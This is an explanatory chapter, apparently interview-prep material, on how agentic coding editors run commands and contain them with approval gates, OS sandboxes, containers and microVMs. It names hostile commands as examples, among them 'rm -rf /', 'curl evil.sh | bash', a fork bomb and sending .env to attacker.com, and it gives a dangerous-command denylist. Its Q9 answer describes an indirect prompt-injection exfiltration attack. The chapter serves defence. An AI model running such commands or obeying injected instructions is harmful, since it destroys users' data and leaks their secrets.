11. Execution, Sandboxing & Terminals
What This Subsystem Is and Why It Exists ¶
An agentic coding editor is only useful if it can do things, not just say things. The execution subsystem is the part that lets the agent run code: invoke a build, run a test suite, start a dev server, install a dependency, grep the filesystem, or apply a migration. It is the bridge between the model's intentions (tokens it emits) and the real world (a running process with a return code).
The reason this matters is the closed loop. A plain chat model is open-loop: it guesses an answer and you find out later whether it compiled. An agent is closed-loop: it proposes a command, the editor runs it, captures the output, and feeds that output back into the next turn as an observation. The agent then corrects course. This is the difference between "here is some code that probably works" and "I ran the tests, three failed, here are the fixes, now all green."
Analogy: a chat model is a chess engine that only reads the board once and announces a full game plan. An agent with execution is a player who makes a move, sees the opponent respond, and adapts. The terminal is its hands; stdout/stderr/exit code are its eyes.
But hands are dangerous. The same channel that runs pytest can run rm -rf /, curl evil.sh | bash, or exfiltrate your .env. So this subsystem is really two problems welded together:
- Capability — give the model a clean, legible interface to a real computer.
- Containment — make sure a confused or adversarial agent cannot wreck the host or leak secrets.
Everything below is the tension between those two.
How It Works, Step by Step ¶
The execution loop ¶
- Tool call. The model emits a structured tool invocation, e.g.
run_terminal_cmd({ "command": "npm test", "cwd": "/repo" }). This comes back from the LLM as a tool-use block, not free text. - Policy check. The editor's execution layer inspects the command against a policy: allowlist/denylist, dangerous-pattern detection, and whether the working directory is inside the trusted workspace. It decides: auto-run, ask the human, or refuse.
- Spawn. If approved, the editor spawns a process — almost always under a PTY (pseudo-terminal), not a bare pipe (see below).
- Stream capture. stdout and stderr are streamed, often interleaved, with timestamps. The UI renders them live so the human can watch and kill.
- Termination. The process exits (or is killed by a timeout / the user). The editor records the exit code, total runtime, and whether it was truncated.
- Observation construction. The editor turns the raw output into a tool-result message: typically the exit code plus a truncated slice of output (head + tail, since the middle of a 50k-line log is rarely the signal). This is appended to the conversation.
- Next turn. The model reads the observation and decides the next action: fix code, run again, or report done.
Why PTY and not just pipes ¶
Many CLIs behave differently when they detect a TTY. git, npm, pytest, cargo, and others emit color codes, progress bars, and pagers (less) when attached to a terminal, and switch to plain output when piped. They may also block waiting for interactive input (a y/N prompt) and hang forever.
A PTY (via forkpty/openpty, or libraries like node-pty which wraps winpty/ConPTY on Windows) makes the program think it's talking to a real terminal. This is why editors integrate a real terminal emulator: VS Code uses xterm.js on the frontend talking to node-pty in the extension host. The agent's commands run through the same PTY machinery as the human's terminal, so behavior is consistent and the human can take over a session.
The catch: PTY output contains ANSI escape sequences (colors, cursor moves, carriage returns that overwrite lines). The editor must strip or normalize these before handing text to the model, or the model wastes tokens parsing \x1b[32m garbage and a progress bar becomes 4,000 lines of redraws.
Making the environment legible (the agent-computer interface) ¶
The term agent-computer interface (ACI) captures a key insight: the tools and their output formatting are as important as the model. A good ACI:
- Gives structured exit signals (a clean exit code, not "parse my prose").
- Truncates intelligently — head+tail, collapse repeated lines, summarize a 10k-line stack trace.
- Exposes scoped tools instead of one god-shell: a dedicated
read_file,edit_file,grep,run_testsreduces the chance the model improvises a brittlesedone-liner. - Returns errors the model can act on ("file not found: src/foo.ts" beats a raw errno).
SWE-agent's research made this concrete: the same model solves dramatically more GitHub issues when given a well-designed ACI versus a raw bash prompt. The lesson interviewers love: agent performance is co-designed between model and harness, not just the model.
Sandboxing Techniques (Containment) ¶
There is a spectrum from "trust the user's machine" to "throw away a fresh VM per task." Stronger isolation costs more latency and money.
1. No real sandbox — policy + approval (local editors) ¶
Cursor, Copilot agent mode, Continue, Aider, and Claude Code in their default local mode run commands directly on your machine in your repo directory. There is no kernel-level jail. Safety comes from:
- Allowlists/denylists. Auto-run safe read-only commands (
ls,cat,git status); always confirm writes, installs, network, andsudo. - Human approval gates. A diff/command preview the user clicks to approve. Cursor's "Agent" mode shows the command and waits unless you enable "auto-run" (and even then keeps a denylist).
- Dangerous-command detection. Pattern/heuristic matching for
rm -rf,:(){ :|:& };:(fork bomb),dd,mkfs,chmod -R 777,curl ... | sh, writes outside the workspace, or anything touching~/.ssh. These force a confirmation regardless of allowlist.
This is cheap and zero-latency but the isolation is social, not technical — it relies on the human (or the LLM-judge) catching the bad command.
2. OS-level syscall sandboxing — seccomp / Landlock / sandbox-exec ¶
Lighter than a container: confine a normal process by filtering what the kernel will let it do.
- seccomp-bpf (Linux): a BPF filter that allows/denies syscalls. Block
socket,ptrace,mount, etc. - Landlock (Linux 5.13+): unprivileged filesystem (and newer network) access control — say "this process may read /repo and write /repo/.cache, nothing else."
- sandbox-exec / Seatbelt (macOS) and AppArmor (Linux) do similar policy-based confinement.
Claude Code and several CLIs use OS sandboxing (e.g. seccomp + Landlock on Linux, Seatbelt on macOS) to run commands with filesystem and network restrictions so an unapproved command can't reach the network or escape the project dir. This lets them auto-run more commands without prompting, because the blast radius is bounded by the kernel.
3. Containers (Docker / OCI) ¶
Run the agent's commands inside a container: isolated filesystem, process namespace, and (optionally) no network. This is the workhorse for cloud/background agents and reproducible environments.
- Strong-ish isolation, shared kernel (so a kernel exploit can still escape — not a true security boundary against hostile code).
- Start time ~100ms–1s, cheap to snapshot via image layers.
- Used by devcontainers, Codespaces, and most CI.
4. MicroVMs (Firecracker, gVisor, Kata) ¶
When you run other people's untrusted code at scale (which is exactly what a cloud agent does), you want a real VM boundary but without the weight of full VMs.
- Firecracker (AWS, written in Rust; powers Lambda and Fargate) boots a minimal Linux microVM in ~125ms with a few MB of memory overhead, giving each task a separate kernel. Hardware-virtualization isolation, near-container density.
- gVisor (Google) is a user-space kernel that intercepts syscalls — strong isolation with a syscall-compatibility cost.
- Kata Containers wrap OCI containers in lightweight VMs.
This is the gold standard for multi-tenant "run arbitrary repos in the cloud" — each session gets a disposable microVM that is destroyed afterward, so cross-tenant leakage and persistence attacks are contained.
5. Ephemeral throwaway environments ¶
Regardless of mechanism, the pattern that matters: spin up clean, run, capture, destroy. No state survives to the next task unless explicitly persisted. This kills "poisoned environment" attacks and makes runs reproducible. The cost is cold-start latency and the need to rehydrate the repo + dependencies each time (mitigated by image snapshots and warm pools).
Background / Async Agents in Cloud Sandboxes ¶
The newest layer: the agent doesn't run on your laptop at all. You assign it a task ("fix this issue, open a PR") and it executes in a remote cloud sandbox asynchronously, possibly for many minutes, then comes back with a diff.
- Cursor background agents and Devin run in cloud VMs/containers with the repo checked out, a full toolchain, and network access to install deps and run tests.
- GitHub Copilot's coding agent (and Codex-style cloud agents) run in ephemeral GitHub Actions / container environments, push a branch, and open a PR you review.
- Google Jules, OpenAI Codex (cloud), Claude Code on the web / GitHub Action follow the same shape.
Why cloud: (a) long-running work shouldn't tie up your editor; (b) parallelism — fan out 5 agents on 5 tasks; (c) a clean, controlled, sandboxed environment is safer than your laptop with your AWS creds in env; (d) reproducibility.
The hard parts: environment setup (the agent must npm install/pip install/build before it can do anything — a setup script or prebuilt image is required), secret handling (it needs some tokens to run tests but you don't want it to have prod keys), and review trust (output is a PR a human must vet).
Reproducible Dev Environments ¶
For an agent to reliably run code, the environment must be deterministic. "Works on my machine" is fatal when the machine is an ephemeral microVM.
- Devcontainers (
devcontainer.json): a spec (championed by VS Code/Codespaces) describing a Docker image, features, ports, and post-create commands. Codespaces and Cursor background agents read these to build the agent's environment. - Nix / Nix flakes: fully reproducible, hermetic builds pinned by content hash. The strongest reproducibility story, steep learning curve. Great for "byte-identical environment every time."
- Image snapshots / layer caching: prebuild an image with deps installed, snapshot it, and boot copies. Turns a 3-minute
npm installinto a sub-second restore. Critical for warm pools of cloud agents. - Lockfiles (
package-lock.json,poetry.lock,Cargo.lock): the minimum bar — pin dependency versions so the agent's install matches what was tested.
The interview-worthy framing: reproducibility is a prerequisite for agentic execution, because the agent's feedback loop is only trustworthy if the environment is stable. Flaky env = noisy observations = the agent chases ghosts.
Remote Development: Thin Client / Workspace Server Split ¶
Modern editors split into a thin client (UI, on your laptop) and a workspace server (where the files, terminal, language servers, and execution live). The agent's execution almost always happens on the server side, close to the code.
- VS Code Remote (SSH, WSL, Dev Containers, Codespaces): the client is the Electron UI; a VS Code Server runs on the remote host, hosting the extension host, terminals (node-pty), and language servers. Only UI events and rendered diffs cross the wire. Cursor inherits this architecture (it's a VS Code fork).
- GitHub Codespaces: the workspace server is a container in Azure; your browser or desktop VS Code is the thin client.
- JetBrains Gateway + remote backend: the IDE backend runs on the remote machine; a thin client renders it.
- WSL: the server runs inside the Linux subsystem on Windows, so the agent runs Linux tooling natively.
Why this matters for execution: it means the agent runs commands where latency to the filesystem is ~0 and the toolchain is the real target environment (Linux, the right Python). The split also creates a natural isolation seam — the server can be a locked-down container the client never has raw shell into.
Key Engineering Challenges and Tradeoffs ¶
Latency ¶
- Local exec: near-zero spawn cost, but you pay for every LLM round trip (~1–10s/turn) and the command runtime itself.
- Cloud sandbox cold start: container ~hundreds of ms; Firecracker microVM ~125ms boot but repo clone + dep install can be minutes. Warm pools and image snapshots are the fix.
- Output truncation is partly a latency/cost play: streaming 100k tokens of log back to the model is slow and expensive.
Cost ¶
- Every observation is tokens the model re-reads on the next turn, and conversations grow. A chatty test log can dominate the context window. Truncation + summarization directly cut $/task.
- Cloud compute: keeping microVMs warm costs money; ephemeral-on-demand saves money but adds latency. Classic throughput-vs-cost knob.
Quality ¶
- Too aggressive truncation hides the one error line that mattered. Head+tail+grep-for-error heuristics try to keep signal.
- ANSI/progress-bar noise degrades reasoning if not cleaned.
- Interactive prompts: a command waiting on
y/Nhangs the loop. Mitigations: pass--yes/--non-interactiveflags, setCI=true, feed/dev/nullas stdin, and enforce timeouts.
Privacy / Security ¶
- Local agents run with your full privileges and see
.env, SSH keys, cloud creds. Prompt injection from a malicious file/dependency could turn the agent into an exfiltration tool. - Mitigations: network-deny by default in sandbox, secret redaction, scoped credentials for cloud agents, deny reads of
~/.ssh/.env, human approval on network/install.
Scale ¶
- Multi-tenant cloud agents → microVM isolation is mandatory (one tenant's code must not see another's). Per-tenant Firecracker VMs, no shared kernel state, destroy-after-use.
Concrete Technologies and Numbers That Matter ¶
- node-pty / xterm.js — PTY backend + terminal renderer used by VS Code, Cursor, and many Electron editors.
- ConPTY (Windows) / forkpty (Unix) — OS PTY primitives.
- Firecracker — ~125ms microVM boot, <5MB memory overhead per VM, Rust, powers AWS Lambda/Fargate.
- gVisor, Kata Containers — alternative strong-isolation runtimes.
- seccomp-bpf, Landlock (Linux 5.13+), sandbox-exec/Seatbelt (macOS), AppArmor — syscall/FS sandboxing.
- Docker / OCI, devcontainer.json, Nix flakes — reproducible environments.
- Typical output cap: editors truncate tool output to a few KB–tens of KB (e.g. keep first ~N and last ~N lines); per-command timeouts commonly 30s–10min.
- Exit code conventions: 0 = success, non-zero = failure, 124 =
timeoutkilled it, 137 = SIGKILL (128+9, often OOM), 130 = Ctrl-C (128+2). The agent uses these to classify failures.
How Leading Products Implement It (and Differ) ¶
- Cursor — VS Code fork; local Agent mode runs commands in an integrated terminal with allowlist/denylist + auto-run toggle and dangerous-command guard. Background agents run in cloud VMs (with devcontainer-style setup) to do async work and open PRs.
- GitHub Copilot — Inline/agent mode runs in VS Code locally with approval; the Copilot coding agent runs in an ephemeral GitHub Actions/container environment, pushes a branch, opens a PR. Tightly tied to GitHub's CI sandbox.
- VS Code — Provides the substrate: integrated terminal (node-pty/xterm.js), tasks, Remote-SSH/WSL/Containers, and the new agent/tools API. Many editors inherit safety and PTY behavior from here.
- Zed — Native (Rust) editor; runs tasks and an integrated terminal, agent executes commands locally with confirmation. Emphasis on speed and a clean tool protocol.
- JetBrains — Junie/AI Assistant run within the IDE; execution uses the IDE's run configurations and terminal, with Gateway enabling a remote backend. Strong existing run/debug infrastructure reused as agent tools.
- Sourcegraph (Cody / Amp) — Historically retrieval/context-first; agentic features run commands but the differentiator is large-scale code search feeding the agent, often server-side.
- Continue — Open-source, BYO-model; runs commands locally through the IDE with approval, highly configurable tool policy.
- Aider — Terminal-native; edits via git commits, can run tests/lint and auto-feed failures back (its "auto-test"/"auto-commit" loop is a clean example of the observation loop), runs on your machine with your perms.
- Claude Code — Terminal-native agent; runs Bash with OS sandboxing (seccomp/Landlock on Linux, Seatbelt on macOS), permission prompts, allow/deny rules, and can run in a GitHub Action / on the web in a cloud sandbox.
- Windsurf — Cascade agent runs commands in the IDE with auto-execute settings, command allowlists, and a "turbo" auto-run mode gated by a safety classifier.
Where they differ most: (a) local-direct vs cloud-sandboxed execution, (b) kernel sandbox vs pure approval gates, (c) how much they auto-run vs always-ask, and (d) synchronous (in-editor) vs async (PR-producing) agents.
Failure Modes and Mitigations ¶
- Destructive command (
rm -rf, force-push, dropping a DB). → Denylist + dangerous-pattern detection + mandatory human confirm; sandbox FS scoping so even an approved mistake can't leave the repo; ephemeral envs so state is recoverable. - Prompt-injection-driven exfiltration (malicious README/dependency tells the agent to
curl secrets to attacker). → Network-deny by default, secret redaction, no auto-run of network commands, scoped creds in cloud. - Hung interactive prompt (waiting on stdin). →
--non-interactive/--yesflags,CI=true, stdin=/dev/null, hard timeouts (kill at N seconds, report 124). - Runaway resource use (fork bomb, infinite loop, OOM). → cgroups CPU/memory limits, process count caps, wall-clock timeout; OOM shows as exit 137.
- Output flood (50k-line log blows the context window). → head+tail truncation, ANSI stripping, repeated-line collapse, optional summarization; tell the model output was truncated.
- Flaky/non-reproducible environment (wrong Node, missing dep). → devcontainers/Nix/lockfiles, prebuilt snapshot images, explicit setup scripts.
- Loop thrash (agent reruns the same failing command forever). → max-iteration / max-cost budgets, detect identical repeated actions, escalate to human.
- Sandbox escape (container kernel exploit). → microVMs (Firecracker) for untrusted multi-tenant code; treat containers as a convenience boundary, not a security boundary, for hostile code.
- Cross-tenant leakage in cloud. → per-task isolated microVM + destroy-after-use, no shared writable volumes.
Interview Talking Points ¶
- Execution turns a chat model into a closed-loop agent: command → run → capture stdout/stderr/exit code → feed back as an observation → correct. The exit code is the agent's "did it work?" signal.
- Editors run commands through a PTY (node-pty + xterm.js), not bare pipes, so tools behave as if attached to a terminal; output must be ANSI-stripped and truncated (head+tail) before going to the model.
- The agent-computer interface (ACI) — scoped tools, clean errors, smart truncation — matters as much as the model; SWE-agent showed harness design swings task success a lot.
- Safety is a spectrum: approval gates + allow/deny + dangerous-command detection (local), seccomp/Landlock/Seatbelt syscall sandboxing, containers, up to Firecracker microVMs (~125ms boot, separate kernel) for untrusted multi-tenant cloud code.
- Background/cloud agents (Cursor background, Copilot coding agent, Devin, Jules, Codex) run async in ephemeral sandboxes, open PRs; they need reproducible envs (devcontainers/Nix/snapshots) and scoped secrets.
- Remote dev splits a thin client from a workspace server (VS Code Remote/Codespaces/JetBrains Gateway/WSL); the agent executes server-side, which doubles as an isolation seam.
- Local agents (Cursor, Copilot, Aider, Claude Code, Continue, Windsurf) run on your machine with your perms — the real risk is prompt-injection exfiltration, mitigated by network-deny defaults and secret redaction.
Likely Interview Q&A ¶
Q1. Why does an agentic editor capture the exit code, and not just the text output? The exit code is a structured, unambiguous success signal: 0 = success, non-zero = failure, with conventions like 124 (timeout), 137 (SIGKILL/OOM), 130 (Ctrl-C). Parsing prose ("looks like it passed?") is unreliable — a test runner may print "FAILED" inside a passing run, or succeed silently. The agent branches its next action on the exit code, then uses stdout/stderr for the details of what to fix. It's the difference between a boolean and a paragraph you have to interpret.
Q2. Why a PTY instead of just piping stdout/stderr? Many CLIs detect whether they're attached to a TTY and change behavior: colors, progress bars, pagers, and interactive prompts. Piped, some tools buffer differently or wait on input and hang. A PTY (forkpty/ConPTY, via node-pty) makes the tool think it's in a real terminal, so output matches what a human sees and the same machinery powers both the human's terminal and the agent's. The cost is ANSI escape noise, which the editor must strip before sending text to the model.
Q3. How do you let an agent auto-run commands without prompting on every one, while staying safe? Layer it. (1) An allowlist of read-only/safe commands (ls, git status, test runners) auto-runs. (2) A denylist + dangerous-pattern detector (rm -rf, curl|sh, writes to ~/.ssh, force-push) always forces confirmation. (3) Crucially, run under an OS sandbox (seccomp/Landlock/Seatbelt) that scopes filesystem to the repo and denies network by default — so even an auto-run mistake has a bounded blast radius. That kernel boundary is what lets you raise the auto-run ceiling without raising risk.
Q4. What is the "agent-computer interface" and why does it matter? It's the design of the tools and their output formatting the agent sees — the environment made legible. Scoped tools (read_file, edit, grep, run_tests) beat a single raw shell because they return structured, actionable results and fewer brittle improvised one-liners. Smart truncation keeps signal (the error line) and drops noise (a 10k-line progress redraw). SWE-agent's research showed the same model solves far more issues with a good ACI — performance is co-designed between model and harness, not the model alone.
Q5. A command hangs forever in the agent loop. What went wrong and how do you prevent it? Almost always an interactive prompt waiting on stdin (a y/N, a missing flag) or a long-running process with no timeout. Mitigations: pass non-interactive flags (--yes, --non-interactive), set CI=true, redirect stdin from /dev/null, and — most important — enforce a hard wall-clock timeout that kills the process and reports exit 124 so the agent treats it as a failure and adapts instead of stalling.
Q6. (System design) Design the execution backend for a cloud service that runs untrusted user repos with AI agents, thousands of concurrent tasks. Isolation first: each task gets its own Firecracker microVM (separate kernel, ~125ms boot, hardware-virt boundary) — containers share a kernel and aren't a hard boundary against hostile code. Use warm pools of base microVMs and snapshot images with common toolchains preinstalled so cold start and npm install don't dominate (turn minutes into sub-second restore). Repo is cloned in, network is deny-by-default with an allowlist for package registries, and secrets are scoped per-task tokens, never prod creds. Apply cgroup CPU/memory limits and per-task timeouts. Stream stdout/stderr through a collector that truncates and ANSI-strips before it hits the model, capping tokens. Destroy the VM after the task so nothing persists across tenants. Output is a diff/PR a human reviews. Tradeoffs: microVMs cost more than containers but are non-negotiable for multi-tenant untrusted code; warm pools trade idle cost for latency.
Q7. (System design / tradeoff) Should command execution run locally in the editor or in a remote sandbox? Walk through the tradeoffs. Local: zero spawn latency, runs against the real target machine, no infra cost — but it runs with the user's full privileges (sees .env, SSH keys), so a prompt-injection or a bad command can do real damage, and long tasks tie up the editor. Remote sandbox: strong isolation, clean reproducible env, can run async/parallel and produce PRs, doesn't block the UI — but pays cold-start + repo/dep setup latency, costs compute, and needs careful secret handling and env reproducibility (devcontainers/Nix/snapshots). The practical answer most products land on: local for fast, interactive, in-the-loop edits with approval gates; cloud sandbox for long-running, parallel, or untrusted "go fix this and open a PR" work. The deciding factors are trust level of the code, task duration, need for parallelism, and how much you can lock down credentials.
Q8. How do you keep huge command output from blowing up the context window — and what's the risk of over-truncating? Cap output (e.g. keep the first N and last N lines, drop the middle), strip ANSI, collapse repeated lines, and optionally summarize. Head+tail works because the start (what ran) and end (the failure/summary) carry most signal. The risk: the one error line buried in the middle gets cut. Mitigations: grep-for-error heuristics to surface failure lines, let the agent request more of a specific file/section on demand, and always tell the model the output was truncated so it can ask for more instead of assuming it saw everything.
Q9. What's the threat model for a local coding agent, and what's the scariest realistic attack? The agent runs with your full user privileges and can read secrets and hit the network. The scariest realistic attack is indirect prompt injection: a malicious instruction hidden in a file, dependency, README, or test fixture tells the agent to exfiltrate secrets (curl your .env to attacker.com) or run a destructive command — and the agent, trying to be helpful, complies. Mitigations: network deny-by-default in the sandbox, never auto-run network/install commands without confirmation, redact secrets from what the model sees, scope filesystem reads (block ~/.ssh, .env), and treat any content the agent ingested from the repo or web as untrusted input, not commands.